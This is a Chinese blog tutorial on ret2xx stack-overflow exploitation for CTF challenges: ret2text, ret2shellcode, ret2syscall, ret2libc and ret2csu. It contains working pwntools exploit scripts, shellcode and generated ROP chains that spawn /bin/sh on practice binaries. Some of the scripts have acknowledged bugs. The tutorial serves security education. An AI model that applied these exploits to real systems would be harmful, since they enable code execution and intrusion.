本人网站https://blog.johnw1ck.com/
其实 这周末我原本是不想写文章的 主要是放假了
但是 我想往常一样登录了百度站长。。。。
我去!!! 我的文章被索引了！！！！
所以呢 我决定多更新点文章出来 而且最近不是有人说看不懂吗 我觉得更新一些可以让人懂的一些东西
但是今天 我还决定把Ret2讲完
本次教学节选于星梦安全团队在Bilibili上发表的视频
部分转载于https://www.anquanke.com/post/id/205858#h2-2
url为 https://www.bilibili.com/video/BV1Uv411j7fr?p=9
所有内容作者手打(除了一些代码部分)如有错误请指出
如有侵权请联系本文作者
本次题目的下载链接：题目.rar
0x01 什么是ret2xx
在此本文中 RET2xxx泛指的是ret2text, ret2shellcode, ret2syscall,ret2libc,ret2csu 其中 ret2代表着因为中的"return to" 的谐音也就是我们可以从字面意思上知道 我们会利用类似我们上节课学到的利用eip指针的方法 来获取到权限 而其中 有很多种方法来做到
ROP
[*] '/home/retr0/Examples/overflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
随着时代的进步 关于栈的安全知识也越来越普及 其中 随着NX保护的开发 直接在Buffer中注入代码的方式已经被淘汰了 而现在比较流行的是ROP方法 也就是 Return Oriented Programming
说到ROP ROP其实指的就是通过修改Gadgets的ret结尾的指令顺序 来实施攻击
有的时候 我们会结合几段gadget进行攻击
对于需要完成ROP攻击 我们需要一些的条件：
- 程序存在栈溢出 可以控制返回地址
- 可以找到满足条件的gadgets 而且知道gadgets的地址
但是如果地址不是固定的 比如说开了NX 我们就得知道每次调试时的地址 别担心 我们可以配合gdb使用
其中 如果我们需要多次使用漏洞 可以利用多个gadget配合做出漏洞利用
0x02 ret2text
什么是ret2text
ret2text, 说白了就是对于.text节的利用 我们会使用几个程序中已有的代码来进行攻击
进程存在危险函数如system(“/bin”)或execv(“/bin/sh”,0,0)的片段，可以直接劫持返回地址到目标函数地址上。从而getshell。
题目解析 jarvisoj_level2
首先我们Checksec我们的题目
[*] '/home/retr0/CTF/ret2xx/Qs/level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
我们可以看到 这个程序是开启了Nx的 那么我们知道Nx保护是的基本原理是将数据所在内存页标识为不可执行 当程序溢出成功转入shellcode时 程序会尝试在数据页面上执行指令 此时CPU就会抛出异常 而不是去执行恶意指令 但是 这些暂时不重要 我们先扔进IDA看一下
伪代码如下：
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dPf0BOPi-1617790866959)(https://blog.johnw1ck.com/usr/uploads/2021/04/1766276664.jpg)]
构造思路
我们可以看到 这里有一个很明显的栈溢出漏洞 其中 Read的值已经超过了buf的值 并且 这里也存在system函数和bin/sh字符串 那么 我们就可以构思攻击了
首先 我们首先需要填充缓存区0x88（因为溢出）
之后 我们需要在覆盖4个字符来覆盖ebp
然后 我们要函数返回值为system函数
紧接着 我们要填充函数调用的返回地址(‘c’ * 4)如果你需要 可以一直执行main函数
最后 我们只需要调整system函数的参数为bin/sh 就结束了
编写exp
exp代码：
from pwn import *
file_path='./level2'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
main_addr = 0x08048413680
binsh = 0x0804A024
payload = 'a' * 136 + 'b' *4 + p32(system_plt).decode('unicode_escape') +p32(main_addr).decode('unicode_escape') + p32(binsh).decode('unicode_escape')
gdb.attach('b' * 134513790)
p.sendafter('Input',payload)
p.interactive()
(可能会有点Bug 请谅解)
题目解析 jarvisoj_level2_X86
这一题其实和上一题的区别就是这一题是64位的 而其中 漏洞的形成原因也差不多
但是 64位系统函数调用传参优先使用寄存器 rdi rsi rdx rcx r8 r9而且当参数大于6个使用栈
具体可以参考http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时， 前 6 个与前面一样， 但后面的依次从 “右向左” 放入栈中，即和32位汇编一样。
参数个数大于 7 个的时候
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H
构造思路
我们的思路是 前面几乎一样 之后首先设置返回地址为system函数 再通过pop rdi;ret设置rdi的值为/bin/sh字符串
对了 这里忘记说了 /bin/sh 是 Linux 默认的Shell目录(应该是的)
那么问题就来了 我们如何找到 pop rdi; ret?
其实 方法很多 但是这里分享两个方案:
ROPgadgets
什么是ROPgadgets
This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF/PE/Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures. Since the version 5, ROPgadget has a new core which is written in Python using Capstone disassembly framework for the gadgets search engine - The older version can be found in the Archives directory but it will not be maintained.
这个工具可以让你在二进制文件上搜索你的小工具，以方便你的ROP开发。ROPgadget支持x86、x64、ARM、ARM64、PowerPC、SPARC和MIPS架构的ELF/PE/Mach-O格式。自版本5以来，ROPgadget有了一个新的核心，它是用Python编写的，使用Capstone反汇编框架的小工具搜索引擎
我们可以使用ROPgadgets先获取程序中的Gadget 之后再grep 搜索
指令是ROPgadget --binary level2_x64 | grep 'pop rdi'
结果如下：
x00000000004006b3 : pop rdi ; ret
Ropper
Ropper也是一个很好的搜索gadgets工具 他的语法如下：
usage: ropper [-h] [--help-examples] [-v] [--console] [-f <file> [<file> ...]] [-r] [-a <arch>]
[--section <section>] [--string [<string>]] [--hex] [--asm [<asm> [H|S|R] [<asm> [H|S|R] ...]]]
[--disasm <opcode>] [--disassemble-address <address:length>] [-i] [-e] [--imagebase] [-c] [-s] [-S]
[--imports] [--symbols] [--set <option>] [--unset <option>] [-I <imagebase>] [-p] [-j <reg>]
[--stack-pivot] [--inst-count <n bytes>] [--search <regex>] [--quality <quality>]
[--opcode <opcode>] [--instructions <instructions>] [--type <type>] [--detailed] [--all]
[--cfg-only] [--chain <generator>] [-b <badbytes>] [--nocolor] [--clear-cache] [--no-load]
[--analyse <quality>] [--semantic constraint] [--count-of-findings <count of gadgets>] [--single]
其中 我们可以使用他的search 功能来寻找我们需要的gadgets 代码如下：ropper --file level2_x64 --search "pop rdi"
反馈如下：
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: level2_x64
0x00000000004006b3: pop rdi; ret;
编写exp
代码主体如下：
from pwn import
file_path='./level2_x64' # 设置路径
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
system_plt = elf.plt['system'] # system 函数
pop_rdi_ret = 0x00000000004006b3 # pop rid ; ret 的地址
binsh = 0x600A90 #bin/sh字符串地址
payload = b'a'*0x80+b'b'*8 #首先填充0x8-的到rbp 之后再覆盖 ....
payload += p64(pop_rdi_ret)+p64(binsh)#设置rdi=bin/sh
payload += p64(system_plt)#ret到system_plt地址
p.sendafter('Input:',payload)
p.interactive()
对 就是这样了
0x03 ret2shellcode
ret2shellcode 即控制程序执行 shellcode 代码 shellcode 指的是用于完成某个功能的汇编代码
常见的功能主要是获取目标系统的 shell 一般来说 shellcode 需要我们自己填充
解析题目 jarvisoj_level1
那么我们拿到例题后 首先Checksec
[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments #可读可写段
之后 我们再放入IDA中
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
我们可以看到 read存在栈溢出 那么 我们就可以开始构造思路了
构造思路
好了 这里我就不多简绍了 知道基本的思路后 我们就可以开始编写exp了 但是 值得注意的是 buff的地址在一开始就给我们了 所以不需要解析地址之类的
EXP编写
exp如下：
from pwn import *
#ret2shellcode
file_path='level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process("level1")
p.recvuntil("What's this:")
buf = int(p.recv(10),16)#读取buff地址
shellcode = asm(shellcraft.sh())#生成shellcode
payload = shellcode
payload = payload.ljust(0x88+4,b'a') + p32(buf)#填充padding 并且覆盖返回地址为buf
#gdb.attach(p)
p.send(payload)
p.interactive()
0x04 retsyscall
retsyscall 顾名思义 是指通过系统调用来得到shell】
在上节课 我们学到过关于系统调用的知识 我们在关于Shellcode的课上有所提及过
[post cid=“27” cover=“https://blog.johnw1ck.com/img/shellcode.jpg”/]
而今天 我们在回顾一遍关于中断的知识
知识点：我们可以通过触发中断（int 0x80或者syscall）进行系统调用
原理如下
用户进程在执行系统调用前，先把系统调用名（实际上是系统调用号）、输入参数等放到寄存器上(EBX,ECX等寄存器)
然后发出int 0x80指令，即触发xxx号中断
系统暂停用户进程，根据xxx号中断找到中断服务程序，这个程序名就叫system_call()
system_call()接着执行。它会从寄存器中找到系统调用名、输入参数等，并根据系统调用上下文中找到引发系统调用的进程；执行完毕后它又会把输出结果放到寄存器中。
系统恢复用户进程，进程从寄存器中取到自己想要的东西，然后继续执行。
解析题目 inndy_rop
还是像往常一样 先 gdb 后 Checksec 结果如下：
pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/inndy_rop/inndy_rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
伪代码如下：(overflow函数)
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]
return gets(&v1);
}
在这里 gets 函数是一定存在栈溢出的 因为会直到读到0x0A
这此因为讲到是需要使用系统调用的 所以咱们也file一下
retr0@DESKTOP-RS7CEJ9:~/CTF/ret2xx/Qs/inndy_rop$ file inndy_rop
inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
我们可以看到 这次的题目是静态编译的 所以会存在像 int 0x80这样的系统调用
之后 我们先看一下系统调用的一张表 详细可以去https://publicki.top/syscall.html来看
这里 我们主要看这两个
| NR | syscall name | references | arg0 (%ebx) | arg1 (%ecx) | arg2 (%edx) | arg3 (%esi) | arg4 (%edi) | arg5 (%ebp) |
|---|---|---|---|---|---|---|---|---|
| 0 | read | man/cs/ | 0x00 | unsigned int fd | char *buf | size_t count | - | - |
| 59 | execve | man/cs/ | 0x0b | const char *const *argv | const char *const *envp | - | - | - |
构造思路
我们可以看到这里 比如说read 需要修改eax寄存器为0x03 而 ebx为fd 还要设置地址和长度
所以这里 我们的思路就有了
Exp构造
不多说 先放Exp
from pwn import *
file_path='./inndy_rop'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process('./inndy_rop')
#find gadgets
int_80_ret = 0x0806F430#int 0x80;ret ROPgadget无法找到 ropper --file inndy_rop --search "int 0x80"
pop_eax_ret = 0x080b8016# : pop eax ; ret #定义寄存器的地址
pop_ebx_ret = 0x080481c9# : pop ebx ; ret #定义寄存器的地址
pop_ecx_ret = 0x080de769# : pop ecx ; ret #定义寄存器的地址
pop_edx_ret = 0x0806ecda# : pop edx ; ret #定义寄存器的地址
bss = 0x80e9000 #这里选择bss段 因为可读可写
payload = b'a'*0xc+b'b'*4
#read(0,bss+0x100,8)
#eax = 3
#ebx = fd=0
#ecx = buf=bss+0x100
#edx = 8
payload += p32(pop_eax_ret)+p32(0x3)#eax=3
payload += p32(pop_ebx_ret)+p32(0x0)#ebx=fd=0
payload += p32(pop_ecx_ret)+p32(bss+0x100)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0x8)#edx=8 len('/bin/sh\x00') 读入长度
payload += p32(int_80_ret)
#execve("/bin/sh",0,0)
#eax=0xb
#ebx=bss+0x100
#ecx = 0
#edx = 0
payload += p32(pop_eax_ret)+p32(0xb)#eax=b
payload += p32(pop_ebx_ret)+p32(bss+0x100)#ebx=fd=1
payload += p32(pop_ecx_ret)+p32(0)#ecx=bss+0x00
payload += p32(pop_edx_ret)+p32(0)#edx=0 读入长度
payload += p32(int_80_ret)
#gdb.attach(p,'b *0x0806F430') 加上这个调试
p.sendline(payload)
print(payload)
sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()
生产的payload的是b’aaaaaaaaaaaabbbb\x16\x80\x0b\x08\x03\x00\x00\x00\xc9\x81\x04\x08\x00\x00\x00\x00i\xe7\r\x08\x00\x91\x0e\x08\xda\xec\x06\x08\x08\x00\x00\x000\xf4\x06\x08\x16\x80\x0b\x08\x0b\x00\x00\x00\xc9\x81\x04\x08\x00\x91\x0e\x08i\xe7\r\x08\x00\x00\x00\x00\xda\xec\x06\x08\x00\x00\x00\x000\xf4\x06\x08’
自动生成 ROPchain
但是 问题又又来了 如果每次这样编写那要多麻烦？
没关系 其实。。。。 可以自动生成 哈哈哈
对于静态编译的程序 我们可以使用ROPgadgets或者ropper生成ropchain
Ropper
ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve
回馈结果：（你会发现和上面的一样）
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] ROPchain Generator for syscall execve:
[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null
[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget
[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print rop
[INFO] rop chain generated!
ROPgadgets
命令：ROPgadget --binary inndy_rop --ropchain(会加载一段时间 别担心 那不是ROPchain代码)
回馈代码：
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
[+] Gadget found: 0x80b8016 pop eax ; ret
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
[+] Gadget found: 0x807a66f inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de769 pop ecx ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x806c943 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
多么的贴心？！把步骤都给你写好了
0x05 ret2libc
ret2libc即控制函数的执行libc中的函数，通常是返回至某个函数的plt 处或者函数的具体位置(即函数对应的got 表项的内容)。一般情况下，我们会选择执行system("/bin/sh")，故而此时我们需要知道system函数的地址
对于ret2libc 我们首先需要知道什么是libc
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库，包含了C语言最基本的库函数。这个库可以根据 头文件划分为 15 个部分，其中包括：字符类型 ()、错误码()、 浮点常数 ()、数学常数 ()、标准定义 ()、 标准 I/O ()、工具函数 ()、字符串操作 ()、 时间和日期 ()、可变参数表 ()、信号 ()、 非局部跳转 ()、本地信息 ()、程序断言 ()
也就是说 libc中存放的都是使用过的函数 字符串等
那么如何查询libc呢
可以通过ldd [文件名查询libc文件]
libc的漏洞利用思路基本如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Skv2U8q3-1617790866964)(https://blog.johnw1ck.com/usr/uploads/2021/04/2465554599.jpg)]
题目解析 jarvisoj_level1
在ret2shellcode中 我们已经做了关于本题目的分析
那么我们拿到例题后 首先
Checksec
[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments #可读可写段
之后 我们再放入IDA中
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf(“What’s this:%p?\n”, &buf);
return read(0, &buf, 0x100u);
}
思路
(最后是利用栈溢出来执行system函数)
还有记住 利用libc查询(ldd)查询当前文件使用的libc
Exp
from pwn import *
file_path='./level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
#common pack
su = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value)))
ru = lambda delim :p.recvuntil(delim)
rv = lambda count=1024,timeout=0:p.recv(count,timeout)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ss = lambda data :p.send(data)
ssa = lambda delim,data :p.sendafter(delim, data)
u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7
#---------------payload部分--------------# #因为前面已经执行过read 所以会包含read的真实地址#
#V
payload = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)#执行write 泄露read_got表
#gdb.attach(p,'b *0x080484B5')
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))
libc_base = read_addr - libc.symbols['read'] #通过read在libc的偏移找到libc的基地址
system = libc_base+libc.symbols['system'] #通过libc的基地址找到system函数的地址和bin/sh的地址
binsh = libc_base + next(libc.search(b'/bin/sh'))
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("binsh:{}".format(hex(binsh)))
payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh) #再次触发后 覆盖为system + bin/sh地址
p.send(payload2)
p.interactive()
嗯嗯 就是这样 如果还有像学习关于libc的话 我有时间再出一次教程
0x06 ret2csu
在64 位程序中，函数的前6个参数是通过寄存器传递的 但是大多数时候 我们很难找到每一个寄存器对应的gadgets 这时候 我们可以利用 x64下的 __libc_csu_init 中的 gadgets 这个函数是用来对 libc 进行初始化操作的 而一般的程序都会调用libc 函数 所以这个函数一定会存在
也就是说 其实 ret2csu和利用libc的思路一样 都是包含的指令来达到目标
首先 我们先打开例题 Level5
ret2csu的灵魂之处体现在 gadget2 利用 gadget1 准备的数据来控制edi、rsi、rdx和控制跳转任意函数
例题解析 level5
首先checksec
pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/level5_x64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
发现只开了NX保护 其他都没开
漏洞函数
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
使用objdump -d ./level5 -M intel命令
有csu:
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov QWORD PTR [rsp-0x28],rbp
4005a5: 4c 89 64 24 e0 mov QWORD PTR [rsp-0x20],r12
4005aa: 48 8d 2d 73 08 20 00 lea rbp,[rip+0x200873] # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea r12,[rip+0x20086c] # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov QWORD PTR [rsp-0x18],r13
4005bd: 4c 89 74 24 f0 mov QWORD PTR [rsp-0x10],r14
4005c2: 4c 89 7c 24 f8 mov QWORD PTR [rsp-0x8],r15
4005c7: 48 89 5c 24 d0 mov QWORD PTR [rsp-0x30],rbx
4005cc: 48 83 ec 38 sub rsp,0x38
4005d0: 4c 29 e5 sub rbp,r12
4005d3: 41 89 fd mov r13d,edi
4005d6: 49 89 f6 mov r14,rsi
4005d9: 48 c1 fd 03 sar rbp,0x3
4005dd: 49 89 d7 mov r15,rdx
4005e0: e8 1b fe ff ff call 400400 <_init>
4005e5: 48 85 ed test rbp,rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor ebx,ebx
4005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
400629: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] //rsp + 8 赋值给了rbx
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] //rsp + 8 赋值给了rbp
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
这里可以看到rbx、rbp、r12、r13、r14、r15 可以由栈上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30来决定
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
可以看到我们的rdx、rsi、edi 可以由r15、r14、r13低32位来控制,call 由r12+rbx*8来控制,而这些值恰恰是我们gadget1可以控制的值
我们可以得知 read存在栈溢出 程序也没有后门函数 & /bin/sh 字符串 而且几乎也没有什么可以利用的 gadgets 所以 我们只能利用csu中的数据来控制edi、rsi、rdx和控制跳转任意函数
思路构造
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cHHF16Hs-1617790866965)(https://blog.johnw1ck.com/usr/uploads/2021/04/2408027147.jpg)]
思路：利用ret2csu
1.write(1,write_got,8)泄露libc
2.read(0,bss,16)写入system地址和/bin/sh字符串
3.system(‘/bin/sh’) getshell
exp构造
from pwn import *
file_path='./level5'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process(file_path)
elf = ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = 0x400564
write_got = elf.got['write']
read_got = elf.got['read']
gadget1 = 0x400606
gadget2 = 0x4005F0
bss_addr = 0x601028
#payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register
#######################leak libc###############################
payload1 = b'A'*0x80+b'B'*8 #padding
payload1 += p64(gadget1) #ret
payload1 += p64(0) #rsp
payload1 += p64(0) #rbx
payload1 += p64(1) #rbp
payload1 += p64(write_got) #r12
payload1 += p64(1) #r13 edi
payload1 += p64(write_got) #r14 rsi
payload1 += p64(8) #r15 rdx
payload1 += p64(gadget2)
payload1 += b'\x00'*0x38 #padding
payload1 += p64(main_addr) #等待第二次触发漏洞
#gdb.attach(p,'b *0x400562')
p.sendafter('Hello, World\n',payload1)
write_addr = u64(p.recv(8))
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
success("libc_base:{}".format(hex(libc_base)))
success("system_addr:{}".format(hex(system_addr)))
success("binsh:{}".format(hex(binsh)))
#######################read(0,bss,8) system_addr###############################
payload2 = b'A'*0x80+b'B'*8 #padding
payload2 += p64(gadget1) #ret
payload2 += p64(0) #rsp
payload2 += p64(0) #rbx
payload2 += p64(1) #rbp
payload2 += p64(read_got) #r12 ret
payload2 += p64(0) #r13 edi
payload2 += p64(bss_addr) #r14 rsi
payload2 += p64(16) #r15 rdx
payload2 += p64(gadget2)
payload2 += b'\x00'*0x38 #padding
payload2 += p64(main_addr) #等待第二次触发漏洞
p.sendafter('Hello, World\n',payload2)
sleep(1)
p.send(p64(system_addr)+b'/bin/sh\x00') #有人问 为什么要写入/bin/sh 而不是利用libc中的/bin/sh 那是因为我们再给rdi赋值只能.....
sleep(1)
#######################system('/bin/sh') system_addr###############################
payload3 = b'A'*0x80+b'B'*8 #padding
payload3 += p64(gadget1) #ret
payload3 += p64(0) #rsp
payload3 += p64(0) #rbx
payload3 += p64(1) #rbp
payload3 += p64(bss_addr) #r12 ret
payload3 += p64(bss_addr+8) #r13 edi无法完整赋值
payload3 += p64(0) #r14 rsi
payload3 += p64(0) #r15 rdx
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38 #padding
payload3 += p64(main_addr) #等待第二次触发漏洞
